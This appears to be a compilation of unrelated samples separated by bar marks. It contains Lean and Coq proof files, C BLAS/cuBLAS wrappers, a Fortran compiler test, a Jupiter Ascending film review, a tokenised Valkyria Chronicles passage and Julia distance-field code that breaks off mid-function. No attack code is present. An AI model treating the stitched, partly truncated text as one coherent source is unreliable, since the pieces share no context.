Released under Apache 2.0 license as described in the file LICENSE.
Authors: Floris van Doorn
! This file was ported from Lean 3 source module algebra.order.sub.with_top
! leanprover-community/mathlib commit afdb4fa3b32d41106a4a09b371ce549ad7958abd
! Please do not edit these lines, except to modify the commit id
! if you have ported upstream changes.
-/
import Mathlib.Algebra.Order.Sub.Defs
import Mathlib.Algebra.Order.Monoid.WithTop
/-!
# Lemma about subtraction in ordered monoids with a top element adjoined.
-/
variable {α β : Type _}
namespace WithTop
section
variable [Sub α] [Zero α]
/-- If `α` has subtraction and `0`, we can extend the subtraction to `WithTop α`. -/
protected def sub : ∀ _ _ : WithTop α, WithTop α
| _, ⊤ => 0
| ⊤, (x : α) => ⊤
| (x : α), (y : α) => (x - y : α)
#align with_top.sub WithTop.sub
instance : Sub (WithTop α) :=
⟨WithTop.sub⟩
@[simp, norm_cast]
theorem coe_sub {a b : α} : (↑(a - b) : WithTop α) = ↑a - ↑b :=
rfl
#align with_top.coe_sub WithTop.coe_sub
@[simp]
theorem top_sub_coe {a : α} : (⊤ : WithTop α) - a = ⊤ :=
rfl
#align with_top.top_sub_coe WithTop.top_sub_coe
@[simp]
theorem sub_top {a : WithTop α} : a - ⊤ = 0 := by cases a <;> rfl
#align with_top.sub_top WithTop.sub_top
@[simp] theorem sub_eq_top_iff {a b : WithTop α} : a - b = ⊤ ↔ a = ⊤ ∧ b ≠ ⊤ := by
induction a using recTopCoe <;> induction b using recTopCoe <;>
simp only [← coe_sub, coe_ne_top, sub_top, zero_ne_top, coe_ne_top, top_sub_coe, false_and,
Ne.def]
#align with_top.sub_eq_top_iff WithTop.sub_eq_top_iff
theorem map_sub [Sub β] [Zero β] {f : α → β} (h : ∀ x y, f (x - y) = f x - f y) (h₀ : f 0 = 0) :
∀ x y : WithTop α, (x - y).map f = x.map f - y.map f
| _, ⊤ => by simp only [h₀, sub_top, WithTop.map_zero, coe_zero, map_top]
| ⊤, (x : α) => rfl
| (x : α), (y : α) => by simp only [← coe_sub, map_coe, h]
#align with_top.map_sub WithTop.map_sub
end
variable [CanonicallyOrderedAddMonoid α] [Sub α] [OrderedSub α]
instance : OrderedSub (WithTop α) := by
constructor
rintro x y z
induction y using WithTop.recTopCoe; · simp
induction x using WithTop.recTopCoe; · simp
induction z using WithTop.recTopCoe; · simp
norm_cast; exact tsub_le_iff_right
end WithTop
|
/* Copyright 2016. The Regents of the University of California.
* Copyright 2016-2020. Uecker Lab. University Medical Center Göttingen.
* All rights reserved. Use of this source code is governed by
* a BSD-style license which can be found in the LICENSE file.
*
* Authors:
* 2016 Jonathan Tamir <[email protected]>
* 2016-2020 Martin Uecker <[email protected]>
* 2019-2020 Moritz Blumenthal
*/
#include <assert.h>
#include <complex.h>
#include <stdbool.h>
#include "misc/misc.h"
#ifdef USE_MACPORTS
#include <cblas_openblas.h>
#elif USE_MKL
#include <mkl.h>
#else
#include <cblas.h>
#endif
#ifdef _OPENMP
#include <omp.h>
#endif
#ifdef USE_CUDA
#include <cuComplex.h>
#include <cublas_v2.h>
#include "num/gpuops.h"
#endif
#include "blas.h"
#ifdef USE_CUDA
//blas2_* means, we use the new blas interface, i.e. scalar parameters are written an read by pointers.
//These pointers can point to cpu or gpu memory.
//blas_* uses the old interface where scalar parameters/results are provided/written by value/return.
static void cublas_error(int line, cublasStatus_t code)
{
error("cublas error: %d in line %d \n", code, line);
}
#define CUBLAS_ERROR(x) ({ cublasStatus_t errval = (x); if (CUBLAS_STATUS_SUCCESS != errval) cublas_error(__LINE__, errval); })
static cublasHandle_t handle;
static _Bool handle_created = false;
static cublasHandle_t get_handle(void)
{
if (!handle_created)
CUBLAS_ERROR(cublasCreate(&handle));
handle_created = true;
return handle;
}
static void destroy_handle(void)
{
CUBLAS_ERROR(cublasDestroy(handle));
handle_created = false;
}
static void cublas_set_pointer_host(void)
{
(void)get_handle();
CUBLAS_ERROR(cublasSetPointerMode(handle, CUBLAS_POINTER_MODE_HOST));
}
static void cublas_set_pointer_device(void)
{
(void)get_handle();
CUBLAS_ERROR(cublasSetPointerMode(handle, CUBLAS_POINTER_MODE_DEVICE));
}
static cublasOperation_t cublas_trans(char trans)
{
if (('N' == trans) || ('n'==trans))
return CUBLAS_OP_N;
if (('T' == trans) || ('t'==trans))
return CUBLAS_OP_T;
if (('C' == trans) || ('c'==trans))
return CUBLAS_OP_C;
assert(0);
}
#endif
static void openblas_set_threads(void)
{
#ifndef USE_OPENBLAS
return;
#else
#ifndef _OPENMP
return;
#else
if (1 != openblas_get_parallel())
return; //pthread version of openblas
#pragma omp critical
openblas_set_num_threads(omp_in_parallel() ? 1 : omp_get_max_threads());
#endif
#endif
}
void blas2_cgemm(char transa, char transb, long M, long N, long K, const complex float* alpha, long lda, const complex float* A, long ldb, const complex float* B, const complex float* beta, long ldc, complex float* C)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_device();
cublasCgemm(get_handle(), cublas_trans(transa), cublas_trans(transb), M, N, K, (const cuComplex*)alpha,
(const cuComplex*)A, lda, (const cuComplex*)B, ldb, (const cuComplex*)beta, (cuComplex*)C, ldc);
return;
}
#endif
openblas_set_threads();
cblas_cgemm(CblasColMajor, ('T' == transa) ? CblasTrans : (('C' == transa) ? CblasConjTrans : CblasNoTrans),
('T' == transb) ? CblasTrans : (('C' == transb) ? CblasConjTrans : CblasNoTrans),
M, N, K, (void*)alpha, (void*)A, lda, (void*)B, ldb, (void*)beta, (void*)C, ldc);
}
void blas_cgemm(char transa, char transb, long M, long N, long K, const complex float alpha, long lda, const complex float* A, long ldb, const complex float* B, const complex float beta, long ldc, complex float* C)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
cublasCgemm(get_handle(), cublas_trans(transa), cublas_trans(transb), M, N, K, (const cuComplex*)(&alpha),
(const cuComplex*)A, lda, (const cuComplex*)B, ldb, (const cuComplex*)(&beta), (cuComplex*)C, ldc);
return;
}
#endif
openblas_set_threads();
cblas_cgemm(CblasColMajor, ('T' == transa) ? CblasTrans : (('C' == transa) ? CblasConjTrans : CblasNoTrans),
('T' == transb) ? CblasTrans : (('C' == transb) ? CblasConjTrans : CblasNoTrans),
M, N, K, (void*)(&alpha), (void*)A, lda, (void*)B, ldb, (void*)(&beta), (void*)C, ldc);
}
void blas2_cgemv(char trans, long M, long N, const complex float* alpha, long lda, const complex float* A, long incx, const complex float* x, complex float* beta, long incy, complex float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_device();
cublasCgemv(get_handle(), cublas_trans(trans), M, N, (const cuComplex*)alpha,
(const cuComplex*)A, lda, (const cuComplex*)x, incx, (const cuComplex*)beta, (cuComplex*)y, incy);
return;
}
#endif
openblas_set_threads();
cblas_cgemv(CblasColMajor, ('T' == trans) ? CblasTrans : (('C' == trans) ? CblasConjTrans : CblasNoTrans),
M, N, (void*)alpha, (void*)A, lda, (void*)x, incx, (void*)beta, (void*)y, incy);
}
void blas_cgemv(char trans, long M, long N, complex float alpha, long lda, const complex float* A, long incx, const complex float* x, complex float beta, long incy, complex float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
cublasCgemv(get_handle(), cublas_trans(trans), M, N, (const cuComplex*)&alpha,
(const cuComplex*)A, lda, (const cuComplex*)x, incx, (const cuComplex*)&beta, (cuComplex*)y, incy);
return;
}
#endif
openblas_set_threads();
cblas_cgemv(CblasColMajor, ('T' == trans) ? CblasTrans : (('C' == trans) ? CblasConjTrans : CblasNoTrans),
M, N, (void*)&alpha, (void*)A, lda, (void*)x, incx, (void*)&beta, (void*)y, incy);
}
void blas2_cgeru(long M, long N, const complex float* alpha, long incx, const complex float* x, long incy, const complex float* y, long lda, complex float* A)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_device();
cublasCgeru(get_handle(), M, N, (const cuComplex*)alpha,
(const cuComplex*)x, incx, (const cuComplex*)y, incy, (cuComplex*)A, lda);
return;
}
#endif
openblas_set_threads();
cblas_cgeru(CblasColMajor, M, N, alpha, x, incx, y, incy, A, lda);
}
void blas_cgeru(long M, long N, complex float alpha, long incx, const complex float* x, long incy, const complex float* y, long lda, complex float* A)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
cublasCgeru(get_handle(), M, N, (const cuComplex*)&alpha,
(const cuComplex*)x, incx, (const cuComplex*)y, incy, (cuComplex*)A, lda);
return;
}
#endif
openblas_set_threads();
cblas_cgeru(CblasColMajor, M, N, &alpha, x, incx, y, incy, (float*)A, lda);
}
void blas2_caxpy(long N, const complex float* alpha, long incx, const complex float* x, long incy, complex float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_device();
cublasCaxpy(get_handle(), N, (const cuComplex*)alpha, (const cuComplex*)x, incx, (cuComplex*)y, incy);
return;
}
#endif
openblas_set_threads();
cblas_caxpy(N, alpha, x, incx, y, incy);
}
void blas_caxpy(long N, const complex float alpha, long incx, const complex float* x, long incy, complex float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_host();
cublasCaxpy(get_handle(), N, (const cuComplex*)&alpha, (const cuComplex*)x, incx, (cuComplex*)y, incy);
return;
}
#endif
openblas_set_threads();
cblas_caxpy(N, &alpha, x, incx, y, incy);
}
void blas2_cscal(long N, const complex float* alpha, long incx, complex float* x)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_device();
cublasCscal(get_handle(), N, (const cuComplex*)alpha, (cuComplex*)x, incx);
return;
}
#endif
openblas_set_threads();
cblas_cscal(N, alpha, x, incx);
}
void blas_cscal(long N, const complex float alpha, long incx, complex float* x)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_host();
cublasCscal(get_handle(), N, (const cuComplex*)&alpha, (cuComplex*)x, incx);
return;
}
#endif
openblas_set_threads();
cblas_cscal(N, &alpha, x, incx);
}
void blas2_cdotu(complex float* result, long N, long incx, const complex float* x, long incy, const complex float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_device();
cublasCdotu(get_handle(), N, (const cuComplex*)x, incx, (const cuComplex*)y, incy, (cuComplex*)result);
return;
}
#endif
openblas_set_threads();
cblas_cdotu_sub(N, x, incx, y, incy, (void*)result);
}
void blas2_sgemm(char transa, char transb, long M, long N, long K, const float* alpha, long lda, const float* A, long ldb, const float* B, const float* beta, long ldc, float* C)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_device();
cublasSgemm(get_handle(), cublas_trans(transa), cublas_trans(transb), M, N, K, alpha, A, lda, B, ldb, beta, C, ldc);
return;
}
#endif
openblas_set_threads();
cblas_sgemm(CblasColMajor, ('T' == transa) ? CblasTrans : (('C' == transa) ? CblasConjTrans : CblasNoTrans),
('T' == transb) ? CblasTrans : (('C' == transb) ? CblasConjTrans : CblasNoTrans),
M, N, K, *alpha, A, lda, B, ldb, *beta, C, ldc);
}
void blas_sgemm(char transa, char transb, long M, long N, long K, const float alpha, long lda, const float* A, long ldb, const float* B, const float beta, long ldc, float* C)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
cublasSgemm(get_handle(), cublas_trans(transa), cublas_trans(transb), M, N, K, &alpha, A, lda, B, ldb, &beta, C, ldc);
return;
}
#endif
openblas_set_threads();
cblas_sgemm(CblasColMajor, ('T' == transa) ? CblasTrans : (('C' == transa) ? CblasConjTrans : CblasNoTrans),
('T' == transb) ? CblasTrans : (('C' == transb) ? CblasConjTrans : CblasNoTrans),
M, N, K, alpha, A, lda, B, ldb, beta, C, ldc);
}
void blas2_sgemv(char trans, long M, long N, const float* alpha, long lda, const float* A, long incx, const float* x, float* beta, long incy, float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_device();
cublasSgemv(get_handle(), cublas_trans(trans), M, N, alpha,
(const float*)A, lda, x, incx, beta, y, incy);
return;
}
#endif
openblas_set_threads();
cblas_sgemv(CblasColMajor, ('T' == trans) ? CblasTrans : CblasNoTrans, M, N, *alpha,
(const float*)A, lda, x, incx, *beta, y, incy);
}
void blas_sgemv(char trans, long M, long N, const float alpha, long lda, const float* A, long incx, const float* x, float beta, long incy, float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
cublasSgemv(get_handle(), cublas_trans(trans), M, N, &alpha,
(const float*)A, lda, x, incx, &beta, y, incy);
return;
}
#endif
openblas_set_threads();
cblas_sgemv(CblasColMajor, ('T' == trans) ? CblasTrans : CblasNoTrans, M, N, alpha,
(const float*)A, lda, x, incx, beta, y, incy);
}
void blas2_sger(long M, long N, const float* alpha, long incx, const float* x, long incy, const float* y, long lda, float* A)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_device();
cublasSger(get_handle(), M, N, alpha, x, incx, y, incy, (float*)A, lda);
return;
}
#endif
openblas_set_threads();
cblas_sger(CblasColMajor, M, N, *alpha, x, incx, y, incy, (float*)A, lda);
}
void blas_sger(long M, long N, const float alpha, long incx, const float* x, long incy, const float* y, long lda, float* A)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
cublasSger(get_handle(), M, N, &alpha, x, incx, y, incy, (float*)A, lda);
return;
}
#endif
openblas_set_threads();
cblas_sger(CblasColMajor, M, N, alpha, x, incx, y, incy, (float*)A, lda);
}
void blas2_saxpy(long N, const float* alpha, long incx, const float* x, long incy, float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_device();
cublasSaxpy(get_handle(), N, alpha, x, incx, y, incy);
return;
}
#endif
openblas_set_threads();
cblas_saxpy(N, *alpha, x, incx, y, incy);
}
void blas_saxpy(long N, const float alpha, long incx, const float* x, long incy, float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_host();
cublasSaxpy(get_handle(), N, &alpha, x, incx, y, incy);
return;
}
#endif
openblas_set_threads();
cblas_saxpy(N, alpha, x, incx, y, incy);
}
void blas2_sscal(long N, const float* alpha, long incx, float* x)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_device();
cublasSscal(get_handle(), N, alpha, x, incx);
return;
}
#endif
openblas_set_threads();
cblas_sscal(N, *alpha, x, incx);
}
void blas_sscal(long N, float alpha, long incx, float* x)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_host();
cublasSscal(get_handle(), N, &alpha, x, incx);
return;
}
#endif
openblas_set_threads();
cblas_sscal(N, alpha, x, incx);
}
void blas2_sdot(float* result, long N, long incx, const float* x, long incy, const float* y)
{
#ifdef USE_CUDA
if (cuda_ondevice(x)) {
cublas_set_pointer_device();
cublasSdot(get_handle(), N, x, incx, y, incy, result);
return;
}
#endif
openblas_set_threads();
*result = cblas_sdot(N, x, incx, y, incy);
}
void blas_cdgmm(long M, long N, _Bool left_mul, const complex float* A, long lda, const complex float* x, long incx, complex float* C, long ldc)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublasCdgmm(get_handle(), left_mul ? CUBLAS_SIDE_LEFT : CUBLAS_SIDE_RIGHT,
M, N, (const cuComplex*)A, lda, (const cuComplex*)x, incx, (cuComplex*)C, ldc);
return;
}
#endif
UNUSED(M);
UNUSED(N);
UNUSED(left_mul);
UNUSED(A);
UNUSED(lda);
UNUSED(x);
UNUSED(incx);
UNUSED(C);
UNUSED(ldc);
assert(0);
}
void blas_sdgmm(long M, long N, _Bool left_mul, const float* A, long lda, const float* x, long incx, float* C, long ldc)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublasSdgmm(get_handle(), left_mul ? CUBLAS_SIDE_LEFT : CUBLAS_SIDE_RIGHT,
M, N, A, lda, x, incx, C, ldc);
return;
}
#endif
UNUSED(M);
UNUSED(N);
UNUSED(left_mul);
UNUSED(A);
UNUSED(lda);
UNUSED(x);
UNUSED(incx);
UNUSED(C);
UNUSED(ldc);
assert(0);
}
//B = alpha * op(A)
void blas_cmatcopy(char trans, long M, long N, complex float alpha, const complex float* A, long lda, complex float* B, long ldb)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
complex float zero = 0.;
cublasCgeam(get_handle(), cublas_trans(trans), cublas_trans('N'),
M, N, (const cuComplex*)&alpha, (const cuComplex*)A, lda, (const cuComplex*)&zero, (const cuComplex*)B, ldb, (cuComplex*)B, ldb);
return;
}
#endif
UNUSED(trans);
UNUSED(M);
UNUSED(N);
UNUSED(alpha);
UNUSED(lda);
UNUSED(A);
UNUSED(ldb);
UNUSED(B);
assert(0);
}
//B = alpha * op(A)
void blas2_cmatcopy(char trans, long M, long N, const complex float* alpha, const complex float* A, long lda, complex float* B, long ldb)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
complex float* zero = cuda_malloc(8);
cuda_clear(8, zero);
cublasCgeam(get_handle(), cublas_trans(trans), cublas_trans('N'),
M, N, (const cuComplex*)alpha, (const cuComplex*)A, lda, (const cuComplex*)zero, (const cuComplex*)B, ldb, (cuComplex*)B, ldb);
cuda_free(zero);
return;
}
#endif
UNUSED(trans);
UNUSED(M);
UNUSED(N);
UNUSED(alpha);
UNUSED(lda);
UNUSED(A);
UNUSED(ldb);
UNUSED(B);
assert(0);
}
//B = alpha * op(A)
void blas_smatcopy(char trans, long M, long N, float alpha, const float* A, long lda, float* B, long ldb)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
float zero = 0.;
cublasSgeam(get_handle(), cublas_trans(trans), cublas_trans('N'),
M, N, &alpha, A, lda, &zero, B, ldb, B, ldb);
return;
}
#endif
UNUSED(trans);
UNUSED(M);
UNUSED(N);
UNUSED(alpha);
UNUSED(lda);
UNUSED(A);
UNUSED(ldb);
UNUSED(B);
assert(0);
}
//B = alpha * op(A)
void blas2_smatcopy(char trans, long M, long N, const float* alpha, const float* A, long lda, float* B, long ldb)
{
#ifdef USE_CUDA
if (cuda_ondevice(A)) {
cublas_set_pointer_host();
float* zero = cuda_malloc(4);
cuda_clear(4, zero);
cublasSgeam(get_handle(), cublas_trans(trans), cublas_trans('N'),
M, N, alpha, A, lda, zero, B, ldb, B, ldb);
cuda_free(zero);
return;
}
#endif
UNUSED(trans);
UNUSED(M);
UNUSED(N);
UNUSED(alpha);
UNUSED(lda);
UNUSED(A);
UNUSED(ldb);
UNUSED(B);
assert(0);
}
void blas_csyrk(char uplo, char trans, long N, long K, const complex float alpha, long lda, const complex float A[][lda], complex float beta, long ldc, complex float C[][ldc])
{
assert('U' == uplo);
assert(('T' == trans) || ('N' == trans));
cblas_csyrk(CblasColMajor, CblasUpper, ('T' == trans) ? CblasTrans : CblasNoTrans, N, K, (void*)&alpha, (void*)A, lda, (void*)&beta, (void*)C, ldc);
}
void blas_sger_fmac(long M, long N, float* A, const float* x, const float* y)
{
blas_sger(M, N, 1., 1, x, 1, y, M, A);
}
void blas_gemv_zfmac(long M, long N, complex float* y, const complex float* A, char trans, const complex float* x)
{
assert((trans == 'N') || (trans == 'T') || (trans == 'C'));
blas_cgemv(trans,M, N, 1., M, A, 1, x, 1., 1, y);
}
void blas_gemv_fmac(long M, long N, float* y, const float* A, char trans, const float* x)
{
assert((trans == 'N') || (trans == 'T'));
blas_sgemv(trans,M, N, 1., M, A, 1, x, 1., 1, y);
}
void blas_matrix_multiply(long M, long N, long K, complex float C[N][M], const complex float A[K][M], const complex float B[N][K])
{
blas_cgemm('N', 'N', M, N, K, 1. , M, (const complex float*)A, K, (const complex float*)B, 0., M, (complex float*)C);
}
void blas_matrix_zfmac(long M, long N, long K, complex float* C, const complex float* A, char transa, const complex float* B, char transb)
{
assert((transa == 'N') || (transa == 'T') || (transa == 'C'));
assert((transb == 'N') || (transb == 'T') || (transb == 'C'));
long lda = (transa == 'N' ? M: K);
long ldb = (transb == 'N' ? K: N);
blas_cgemm(transa, transb, M, N, K, 1., lda, A, ldb, B, 1., M, C);
}
|
! { dg-do compile }
!
! PR42045: [F03] passing a procedure pointer component to a procedure pointer dummy
!
! Contributed by John McFarland <[email protected]>
PROGRAM prog
TYPE object
PROCEDURE(), POINTER, NOPASS :: f
END TYPE object
TYPE container
TYPE (object), POINTER :: o(:)
END TYPE container
TYPE (container) :: c
TYPE (object) :: o1, o2
PROCEDURE(), POINTER :: f => NULL()
o1%f => f
CALL set_func(o2,f)
CALL set_func(o2,o1%f)
ALLOCATE( c%o(5) )
c%o(5)%f => f
CALL set_func(o2,c%o(5)%f)
CONTAINS
SUBROUTINE set_func(o,f)
TYPE (object) :: o
PROCEDURE(), POINTER :: f
o%f => f
END SUBROUTINE set_func
END PROGRAM prog
|
State Before: n : ℕ
v : Bitvec n
⊢ ↑(toFin v) = Bitvec.toNat v State After: n : ℕ
v : Bitvec n
⊢ Bitvec.toNat v < 2 ^ n Tactic: rw [toFin, Fin.coe_ofNat_eq_mod, Nat.mod_eq_of_lt] State Before: n : ℕ
v : Bitvec n
⊢ Bitvec.toNat v < 2 ^ n State After: no goals Tactic: apply toNat_lt |
Require Import VerdiRaft.Raft.
Require Import VerdiRaft.RaftRefinementInterface.
Require Import VerdiRaft.RefinementCommonDefinitions.
Section EveryEntryWasCreatedHostLogInterface.
Context {orig_base_params : BaseParams}.
Context {one_node_params : OneNodeParams orig_base_params}.
Context {raft_params : RaftParams orig_base_params}.
Definition every_entry_was_created_host_log (net : network) : Prop :=
forall e h,
In e (log (snd (nwState net h))) ->
term_was_created net (eTerm e).
Class every_entry_was_created_host_log_interface : Prop :=
{
every_entry_was_created_invariant :
forall net,
refined_raft_intermediate_reachable net ->
every_entry_was_created_host_log net
}.
End EveryEntryWasCreatedHostLogInterface.
|
It’s dense, interesting, weird and funny, but what it’s all wrapped around is another “Chosen One” story that really feels drawn out and convoluted, crumbling into something tiresome and tedious.
Where the science-fiction genre is concerned, it’s not hard to at the very least appreciate the ambition of the storytelling. It takes an honest, extra layer of creativity to create a reality not bound by the restrictions of our own, and it can be a delight to watch a perfect mixture of detailed universe building mesh with smart, unique storytelling. Of course, this requires delicate balance, as a dip too far one way finds a convoluted mess, and a dip in the opposite direction creates something that ultimately feels hollow and incomplete. It is sadly the former trap to which Andy and Lana Wachowski’s Jupiter Ascending falls victim.
In a similar vein to what they were able to accomplish with previous sci-fi stories like The Matrix and Cloud Atlas, Jupiter Ascending is a narrative set in a vivid and comprehensive world. There are legions of soldiers who have had their DNA spliced with animals – like the wolf-infused Caine (Channing Tatum) or the bee-like Stinger (Sean Bean). There are galaxy-spanning businesses where worlds are held like long-term investments. There’s even intergalactic low-level bureaucracy that has all varieties of individuals waiting in lines and shuffling from one department to the next. It’s dense, interesting, weird and at times funny, but what it’s all wrapped around is another “Chosen One” story that really feels drawn out and convoluted, eventually crumbling into something tiresome and tedious – albeit consistently beautiful.
The Wachowskis do legitimately make good choices in the casting department, as both Mila Kunis and Channing Tatum make for fun, charismatic leads to take us through the story. Kunis stars as Jupiter Jones, an illegal alien living with her Russian immigrant family and working as a housekeeper living in modern day Chicago. As we see happen oh so often at the cinema, however, her life changes in an instant when she meets Caine (Tatum), an intergalactic bounty hunter. Jupiter is not only made aware of life on other planets, but also that she is the genetic recurrence of one of the most powerful women in the galaxy, and stands to literally inherent the Earth now that she has passed away. It’s a simple and rather familiar plot, but through a first act of enjoyable “awakening” material and sky-shredding action scenes, Jupiter Ascending holds its own.
It’s with the introduction of the trio of central villains that everything begins to fall apart – which is a sincere problem considering that they wind up completely driving the entire story. These are the three surviving members of the Abrasax family -- Balem (Eddie Redmayne), Titus (Douglas Booth) and Kalique (Tuppence Middleton) – and the sons and daughter of the woman whom Jupiter Jones is a genetic equal. Each of them has a personal desire to take control of the Earth – which is alternately described as being extremely valuable and just a single piece of a much larger business – but also each take their own place doing more harm to the movie than good. Kalique winds up being mostly useless to the story, simply providing huge amounts of exposition and then disappearing; Titus merely feels like a stall in the narrative, serving as what is really a fairly pointless obstacle; and Balem simply feels overcooked in every sense, with Redmayne giving a highly bizarre, scenery-chewing performance full of needless affectation that makes him stick out like a sore thumb (really making you wonder what kind of off-base directions he was being given by the Wachowskis). As Jupiter Ascending’s plot encounters these characters, the film begins to degrade faster and faster, exploring needless and unnecessary elements of the sci-fi world that do more subtraction than addition.
At this point in their careers, Andy and Lana Wachowski have become better known for their visual flash and style, and it serves the movie well. Their flair is apparent from the costume and makeup work (the idea of DNA splicing works magic in this department) to the production design, and it all serves to provide Jupiter Ascending with a unique feel (even when it wears references to movies like Brazil on its sleeve). Immense credit also goes to the visual effects teams, who not only render some fantastic air battles and spaceships, but also expansive alien environments that do their part to make the audience feel like they’re being taken to a different world. All of this spectacle doesn’t make up for the fact that character motivations are at times completely dubious, and that the third act drags on far too long, but it does help.
It’s hard to really begrudge a film like Jupiter Ascending, both for its creative scope and in that it is one of the few-and-far-between female-led action movies, but it is equally hard to validate it beyond those elements, it’s aesthetics, and the casting of the leads. There is perhaps a better feature that exists partially on the cutting room floor – explaining some of the more bizarre plot developments/holes – or one that could have been made with just a few tweaks to the screenplay. But the movie that will be hitting theaters this week is best described as unfortunate. |
State Before: R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : (x * y) ^ m ∈ I
⊢ x ∈ radical I ∨ y ∈ radical I State After: R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : x ^ m * y ^ m ∈ I
⊢ x ∈ radical I ∨ y ∈ radical I Tactic: rw [mul_pow] at hxy State Before: R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : x ^ m * y ^ m ∈ I
⊢ x ∈ radical I ∨ y ∈ radical I State After: case inl
R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : x ^ m * y ^ m ∈ I
h : x ^ m ∈ I
⊢ x ∈ radical I ∨ y ∈ radical I
case inr
R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : x ^ m * y ^ m ∈ I
h : y ^ m ∈ radical I
⊢ x ∈ radical I ∨ y ∈ radical I Tactic: cases' hi.2 hxy with h h State Before: case inl
R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : x ^ m * y ^ m ∈ I
h : x ^ m ∈ I
⊢ x ∈ radical I ∨ y ∈ radical I State After: no goals Tactic: exact Or.inl ⟨m, h⟩ State Before: case inr
R : Type u
inst✝ : CommSemiring R
I : Ideal R
hi : IsPrimary I
x y : R
x✝ : x * y ∈ radical I
m : ℕ
hxy : x ^ m * y ^ m ∈ I
h : y ^ m ∈ radical I
⊢ x ∈ radical I ∨ y ∈ radical I State After: no goals Tactic: exact Or.inr (mem_radical_of_pow_mem h) |
As with previous <unk> Chronicles games , Valkyria Chronicles III is a tactical role @-@ playing game where players take control of a military unit and take part in missions against enemy forces . Stories are told through comic book @-@ like panels with animated character portraits , with characters speaking partially through voiced speech bubbles and partially through unvoiced text . The player progresses through a series of linear missions , gradually unlocked as maps that can be freely scanned through and replayed as they are unlocked . The route to each story location on the map varies depending on an individual player 's approach : when one option is selected , the other is sealed off to the player . Outside missions , the player characters rest in a camp , where units can be customized and character growth occurs . Alongside the main story missions are character @-@ specific sub missions relating to different squad members . After the game 's completion , additional episodes are unlocked , some of them having a higher difficulty than those found in the rest of the game . There are also love simulation elements related to the game 's two main heroines , although they take a very minor role .
|
@inline size(s::SignedDistanceField) = size(s.data)
@inline size(s::SignedDistanceField, i...) = size(s.data, i...)
@inline getindex(s::SignedDistanceField, i) = getindex(s.data,i)
@inline getindex(s::SignedDistanceField, i, j) = getindex(s.data,i, j)
@inline getindex(s::SignedDistanceField, i, j, k) = getindex(s.data,i, j,k)
@inline getindex(s::SignedDistanceField, i...) = getindex(s.data,i...)
@inline HyperRectangle(s::SignedDistanceField) = s.bounds
"""
Construct a `SignedDistanceField` by sampling a function over the `bounds`
at the specified `resolution` (default = 0.1). Note that the sampling grid
must be regular,
so a new HyperRectangle will be generated for the SignedDistanceField that
may have larger maximum bounds than the input HyperRectangle. The default
Field type is Float64, but this can be changed with the `fieldT` argument.
"""
function SignedDistanceField(f::Function,
bounds::HyperRectangle{3, T},
resolution=0.1,
fieldT=Float64) where T
x_min, y_min, z_min = minimum(bounds)
x_max, y_max, z_max = maximum(bounds)
x_rng, y_rng, z_rng = maximum(bounds) - minimum(bounds)
nx = ceil(Int, x_rng/resolution)
ny = ceil(Int, y_rng/resolution)
nz = ceil(Int, z_rng/resolution)
vol = Array{fieldT}(undef, nx+1, ny+1, nz+1)
nb_max = Vec(x_min + resolution*nx,
y_min + resolution*ny,
z_min + resolution*nz)
for i = 0:nx, j = 0:ny, k = 0:nz
x = x_min + resolution*i
y = y_min + resolution*j
z = z_min + resolution*k
@inbounds vol[i+1,j+1,k+1] = f(Vec{3,fieldT}(x,y,z))
end
nb_min = minimum(bounds)
SignedDistanceField{3,T,fieldT}(HyperRectangle{3, T}(nb_min, nb_max-nb_min), vol)
end
function SignedDistanceField(f::Function,
bounds::HyperRectangle{2,T},
resolution=0.1,
fieldT=Float64) where T
x_min, y_min = minimum(bounds)
x_max, y_max = maximum(bounds)
x_rng, y_rng = maximum(bounds) - minimum(bounds)
